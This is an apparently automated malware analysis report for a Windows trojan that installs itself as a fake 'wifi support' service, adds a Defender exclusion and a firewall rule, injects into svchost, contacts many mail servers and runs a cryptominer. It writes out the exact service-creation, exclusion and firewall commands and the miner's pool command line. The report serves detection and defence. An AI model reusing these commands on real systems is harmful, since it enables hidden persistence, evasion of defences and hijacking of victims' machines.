Technical Information
To ensure autorun and distribution
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\sefjknag] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\sefjknag] 'ImagePath' = '%WINDIR%\SysWOW64\sefjknag\wqbdqksr.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\sefjknag] 'ImagePath' = '%WINDIR%\SysWOW64\sefjknag\wqbdqksr.exe'
Creates the following services
- 'sefjknag' %WINDIR%\SysWOW64\sefjknag\wqbdqksr.exe /d"<Full path to file>"
- 'sefjknag' %WINDIR%\SysWOW64\sefjknag\wqbdqksr.exe
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\sefjknag' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\wqbdqksr.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\wqbdqksr.exe to %WINDIR%\syswow64\sefjknag\wqbdqksr.exe
Deletes itself.
Network activity
Connects to
- 'mi##########m.mail.protection.outlook.com':25
- 'fa###ool.xyz':10060
- 'mx##.#-online.de':25
- 'eu#######1.heimdalsecurity.com':25
- 'mx#.####10-35.eu.iphmx.com':25
- 'mx#.#####-royce.c3s2.iphmx.com':25
- 'mx##.###g.kundenserver.de':25
- 'ma###.keb.de':25
- 'ma##.##c-solutions.de':25
- 'mx##########tral-1.prod.hydra.sophos.com':25
- 'sm##.#gifederal.com':25
- 'in###gram.com':443
- 'ma##.chi.net':25
- 'mx#######102.gslb.pphosted.com':25
- 'ma#####.chollian.net':25
- 'in####ilmhustle.com':443
- 'mx#.#ate.com':25
- 'mx##.hkbn.net':25
- 'mx.##s.untd.com':25
- 'al######x-vip1.prodigy.net':25
- 'ex####l.bigpond.com':25
- 'mx.#len.pl':25
- 'aspmx.l.google.com':25
- 'mx#######903.gslb.pphosted.com':25
- 'sm###.#ail.medcity.net':25
- 'mx##.mail.com':25
- 'mx#######601.gslb.pphosted.com':25
- 'mt##.##0.yahoodns.net':25
- '52.##3.198.19':443
- 'sv####lfheim.top':443
- '80.##.75.254':483
- 'mx#.#aver.com':25
- '31.##.244.126':427
- '31.##.244.82':427
- '31.##.244.127':427
- '80.#6.75.4':427
- '31.##.244.128':427
- '31.##.244.85':427
- 'google.com':80
- '52.##3.198.16':443
- '99.##1.127.4':443
- 'ma####elay.alcom.ax':25
- '19#.#08.239.254':443
- 'cx#.##.#.cloudfilter.net':25
- 'mx###.comcast.net':25
- 'mx#######501.gslb.pphosted.com':25
- 'mx.##fesa.it':25
- 'mx#.##pservices.us':25
- 'in######.anzenberger.com':25
- 'ma###.#pmortgage.com':25
- 'mx###.##tsol.xion.oxcs.net':25
- '77############b084a94161432db6.pamx1.hotmail.com':25
- 'mx####.##il.gm0.yahoodns.net':25
- 'mx.##mply.com':25
- 'r-####6.korea.com':25
TCP
HTTP GET requests
- http://www.google.com/
Other
- 'sv####lfheim.top':443
- 'al######x-vip1.prodigy.net':25
- 'in####ilmhustle.com':443
- 'ma#####.chollian.net':25
- 'ma##.chi.net':25
- 'in###gram.com':443
- 'mx##########tral-1.prod.hydra.sophos.com':25
- 'ma##.##c-solutions.de':25
- 'ma###.keb.de':25
- 'mx#.####10-35.eu.iphmx.com':25
- 'eu#######1.heimdalsecurity.com':25
- 'ma####elay.alcom.ax':25
- 'fa###ool.xyz':10060
- 'mt##.##0.yahoodns.net':25
- 'mx.##mply.com':25
- 'aspmx.l.google.com':25
- 'mx####.##il.gm0.yahoodns.net':25
- 'in######.anzenberger.com':25
- 'mx#.##pservices.us':25
- '19#.#08.239.254':443
- '99.##1.127.4':443
- '52.##3.198.19':443
- '52.##3.198.16':443
- '31.##.244.85':427
- '31.##.244.82':427
- '31.##.244.128':427
- '80.#6.75.4':427
- '31.##.244.127':427
- '31.##.244.126':427
- 'mx#.#aver.com':25
- '80.##.75.254':483
- '77############b084a94161432db6.pamx1.hotmail.com':25
- 'i.###tagram.com':443
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK ch##.com
- DNS ASK ma##.chi.net
- DNS ASK ch#.net
- DNS ASK mx#######601.gslb.pphosted.com
- DNS ASK ch##.org
- DNS ASK in###gram.com
- DNS ASK sm##.#gifederal.com
- DNS ASK cg###deral.com
- DNS ASK in####ilmhustle.com
- DNS ASK ma#####.chollian.net
- DNS ASK ma##.##c-solutions.de
- DNS ASK il####lutions.de
- DNS ASK ma###.keb.de
- DNS ASK ke#.de
- DNS ASK mx##.###g.kundenserver.de
- DNS ASK on##ne.de
- DNS ASK mx#.#####-royce.c3s2.iphmx.com
- DNS ASK ro###-royce.com
- DNS ASK mx##########tral-1.prod.hydra.sophos.com
- DNS ASK in######.anzenberger.com
- DNS ASK na##.com
- DNS ASK i.###tagram.com
- DNS ASK mx#######102.gslb.pphosted.com
- DNS ASK th##mo.com
- DNS ASK sm###.#ail.medcity.net
- DNS ASK he####onecares.com
- DNS ASK mx#######903.gslb.pphosted.com
- DNS ASK ta###c.co.uk
- DNS ASK aspmx.l.google.com
- DNS ASK st###ybg.org
- DNS ASK mx.#len.pl
- DNS ASK o2.pl
- DNS ASK ex####l.bigpond.com
- DNS ASK bi##ond.com
- DNS ASK al######x-vip1.prodigy.net
- DNS ASK be###outh.net
- DNS ASK mx.##s.untd.com
- DNS ASK ne##ero.net
- DNS ASK mx##.hkbn.net
- DNS ASK hk##.net
- DNS ASK mx#.####10-35.eu.iphmx.com
- DNS ASK ce####itygroup.com
- DNS ASK sk###.#elsingborg.se
- DNS ASK eu#######1.heimdalsecurity.com
- DNS ASK rk#k.dk
- DNS ASK google.com
- DNS ASK mx.##fesa.it
- DNS ASK sg#.#ifesa.it
- DNS ASK mx#######501.gslb.pphosted.com
- DNS ASK am###trade.com
- DNS ASK mx###.comcast.net
- DNS ASK co##ast.net
- DNS ASK cx#.##.#.cloudfilter.net
- DNS ASK co#.net
- DNS ASK 23#.###.112.82.in-addr.arpa
- DNS ASK mx#.##pservices.us
- DNS ASK mx#.#aver.com
- DNS ASK 23#.###.#12.82.cbl.abuseat.org
- DNS ASK 23#.###.##2.82.sbl-xbl.spamhaus.org
- DNS ASK 23#.###.#12.82.zen.spamhaus.org
- DNS ASK 23#.###.#12.82.bl.spamcop.net
- DNS ASK na##r.com
- DNS ASK 23#.###.#12.82.dnsbl.sorbs.net
- DNS ASK sv####lfheim.top
- DNS ASK ko##a.com
- DNS ASK mx#.#ate.com
- DNS ASK an###berger.com
- DNS ASK ma###.#pmortgage.com
- DNS ASK re##el.net
- DNS ASK mx##.#-online.de
- DNS ASK t-##line.de
- DNS ASK fa###ool.xyz
- DNS ASK mx##.mail.com
- DNS ASK ma##.com
- DNS ASK mt##.##0.yahoodns.net
- DNS ASK ro###tmail.com
- DNS ASK mx.##mply.com
- DNS ASK gn##p.net
- DNS ASK ma####elay.alcom.ax
- DNS ASK al##d.net
- DNS ASK mx####.##il.gm0.yahoodns.net
- DNS ASK cs.com
- DNS ASK 77############b084a94161432db6.pamx1.hotmail.com
- DNS ASK as#####gvirtuoso.com
- DNS ASK ar###arcorp.com
- DNS ASK mx###.##tsol.xion.oxcs.net
- DNS ASK ap####emyloan.com
- DNS ASK ap###tgage.com
- DNS ASK r-####6.korea.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\sefjknag\wqbdqksr.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\sefjknag\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\wqbdqksr.exe" %WINDIR%\SysWOW64\sefjknag\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create sefjknag binPath= "%WINDIR%\SysWOW64\sefjknag\wqbdqksr.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description sefjknag "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start sefjknag' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\sefjknag\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\wqbdqksr.exe" %WINDIR%\SysWOW64\sefjknag\
- '%WINDIR%\syswow64\sc.exe' create sefjknag binPath= "%WINDIR%\SysWOW64\sefjknag\wqbdqksr.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description sefjknag "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start sefjknag
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
